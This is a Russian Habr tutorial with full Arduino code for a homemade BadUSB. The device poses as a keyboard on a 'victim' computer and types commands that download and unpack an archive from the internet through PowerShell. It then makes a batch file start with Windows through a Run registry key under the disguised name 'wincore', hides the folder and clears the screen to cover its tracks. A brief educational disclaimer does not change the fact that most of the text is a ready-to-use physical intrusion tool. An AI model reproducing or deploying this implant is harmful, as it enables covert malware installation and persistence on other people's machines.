[Из песочницы] Самодельный BadUSB на Arduino Pro Micro или Leonardo

habr.png

Введение


Не так давно в наших кинотеатрах появился фильм про человека-паука. Главный герой фильма при помощи устройства, по виду напоминающего флешку, смог взломать систему и получить контроль над лучом, переносящим между измерениями. Платы Arduino Leonardo и Arduino Pro Micro (и вообще почти все микроконтроллеры на чипе 32u4) могут восприниматься системой как устройства ввода. Поэтому такое устройство вполне реально сделать, причём оно обойдётся вам всего в 3$. Всё что нужно для взлома — подойти к компьютеру жертвы, вставить «флешку», подождать 5 секунд, вытащить и уйти как ни в чём не бывало.

Дисклеймер


Данная статья создана исключительно в образовательных целях. Я не распространяю вредоносное ПО и не пропогандирую его использование. Ответственны за незаконное использование такого рода устройств только вы. Пользуйтесь на здоровье, но только в мирных целях. При публикации проекта, созданного с использованием этого материала, просьба указывать ссылку на этот пост или мой профиль

Идея проекта


Создадим простейшее устройство BadUSB на Arduino Pro Micro или Leonardo, которое при подключении к компьютеру будет определяться как клавиатура и вводить команды с высокой скоростью. В этом примере я сделаю программу, которая:

1. Создаёт папку в пользовательском каталоге AppData
2. Скачивает в неё архив с нужными файлами из интернета
3. Распаковывает файлы в скачанном архиве
4. Прописывает нужный файл в автозагрузку
5. Скрывает папку и файлы в ней и заметает следы

Преднулевой этап


Откройте Arduino IDE и во вкладке Инструменты в выборе плат поставьте Arduino Leonardo. Не удивляйтесь, если Pro Micro не будет в списке так как этот микроконтроллер будет восприниматься системой как Leonardo. Теперь можно приступать к программированию нашего «добра».

Пишем костяк кода


Подключим библиотеку для подключения контроллера как клавиатуры к компьютеру жертвы. В функцию Void Setup пишем стандартный код подключения микроконтроллера как клавиатуры. Void Loop нам не понадобится, но без него скомпилировать скетч просто не получится, поэтому оставим данную функцию пустой. В итоге получаем вот такой костяк:

#include 
void setup(){
    Keyboard.begin();
    delay(2000);}
void main(){}


Запуск Win + R


Напишем функцию для открытия окна Выполнить сочетанием клавиш Win + R. Эта функция понадобится нам целых три раза. Здесь всё понятно. Зажимаем клавишу Win и нажимаем R:

void winPlusR() {
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press('r');
    delay(45);
    Keyboard.releaseAll();
    delay(100);
}


Создаём папку


Теперь нам почти не понадобятся знания C++ так как код ввода команд постоянно повторяется. Сейчас главное — знания командной строки Windows (cmd). Продумываем алгоритм: запустить командную строку, перейти в каталог AppData пользователя, создать там папку и закрыть окно cmd. Дальше всё просто — даём нашему микроконтроллеру инструкции как это сделать:

void createFolder(){
    winPlusR();
    // запусаем командную строку
    Keyboard.println("cmd");
    Keyboard.write(KEY_RETURN);
    delay(500);
    // переходим в каталог данных пользователя
    Keyboard.println("cd C:/Users/%USERNAME%/AppData"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // создаём папку mycat
    Keyboard.println("mkdir mycat"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // закрываем окно
    Keyboard.println("exit"); 
    Keyboard.write(KEY_RETURN);
    delay(200);
}


Скачиваем архив


Со скачиванием архива с файлами всё оказалось гораздо сложнее чем я думал. Дело в том что в командной строке Windows нет утилиты для скачивания с интернета. Сразу вспомнил утилиту wget в Debian, но у нас есть только доступ к командной строке без возможности установить дополнительные утилиты. Тогда пришлось обратиться к PowerShell:

void getFiles(){
    winPlusR();
    // открываем powershell
    Keyboard.println("powershell"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // переходим в папку mycat
    Keyboard.println("cd C:/Users/%USERNAME%/AppData/mycat"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // задаём адрес
    Keyboard.println("$download_url = 'http://google.by'"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // задаём локальный путь
    Keyboard.println("$local_path = 'C:/Downloads/file.zip'"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // запускаем веб клиент
    Keyboard.println("$WebClient = New-Object System.Net.WebClient"); 
    Keyboard.write(KEY_RETURN);
    delay(500);
    // качаем архив
    Keyboard.println("$WebClient.DownloadFile($download_url, $local_path)"); 
    Keyboard.write(KEY_RETURN);
    delay(1250);
    // распаковываем его
    Keyboard.println("Expand-Archive $file.zip"); 
    Keyboard.write(KEY_RETURN);
    delay(750);
    // закрываем окно
    Keyboard.println("exit"); 
    Keyboard.write(KEY_RETURN);
    delay(200);
}


Много проблем


Изначально я планировал сделать всё по другому — добавить в автозагрузку скрипт PowerShell, который бы при следующей загрузке скачивал и распаковывал архив без ограничения на время. Но в большинстве систем семейства Windows в PowerShell по умолчанию установлена максимальная политика безопасности, которая запрещяла запускать ps1-скрипты. Отключить это ограничение можно следующей командой:

powershell -Command Set-ExecutionPolicy RemoteSigned


Но незадача в том, что для выполнения данной команды нужны права администратора. Пришлось скачивать и распаковывать на ходу. Но если у вас есть доступ к «админке», то можно смело переделывать программу под мою первую идею. Надеюсь, с написанием кода читатель разберется самостоятельно.

Но на этом неприятности не закончились. Дело в том, что команда на распаковку архива не работает в старых версиях Windows. Поэтому если вы имеете дело с древними версиями винды, то вместо скачивания инструментом обратитесь к стороннему архиватору, например 7-Zip:

set-alias sz "$env:ProgramFiles\7-Zip\7z.exe" 
sz x -r C:/Users/%USERNAME%/AppData/mycat/file.zip


Настраиваем файлы


Самое сложное уже позади. Возвращаемся к обычной командной строке, прописываем файл-запускатор в автозагрузку и скрываем папку и файлы в ней, изменив атрибуты:

void setUpFiles(){
    winPlusR();
    // открываем командную строку
    Keyboard.println("cmd");
    Keyboard.write(KEY_RETURN);
    delay(100);
    // переходим в папку пользователя
    Keyboard.println("cd C:/Users/%USERNAME%/AppData");
    Keyboard.write(KEY_RETURN);
    delay(100);
    // делаем папку невидимой для пользователя
    Keyboard.println("attrib +h mycat");
    Keyboard.write(KEY_RETURN);
    delay(100);
    // файлы внутри папки тоже
    Keyboard.println("attrib +h mycat/");
    Keyboard.write(KEY_RETURN);
    delay(100);
    // прописываем в автозагрузку
    Keyboard.println("reg add HKCU/SOFTWARE/Microsoft/Windows/CurrentVersion/Run /v 'wincore' /d 'C:/Users/%USERNAME%/AppData/mycat/start.bat'");
    Keyboard.write(KEY_RETURN);
    delay(250);
    // заметаем следы и закрываем cmd
    Keyboard.println("cls && exit");
    Keyboard.write(KEY_RETURN);
    // дальше вытаскиваем "флешку" и сваливаем
}


Из кусков в одно целое


Изменим Void Setup для запуска написанных нами функций по очереди:

void setup() {
    Keyboard.begin();
    delay(2000);
    createFolder();
    getFiles();
    setUpFiles();
}


Заключение


Мы написали простейший скетч для нашей «флешки» на Arduino IDE. Подключить её к ПК жертвы можно при помощи обычного переходника miniUSB на USB (желательно без провода). Пользуйтесь, но не во зло другим.

© Habrahabr.ru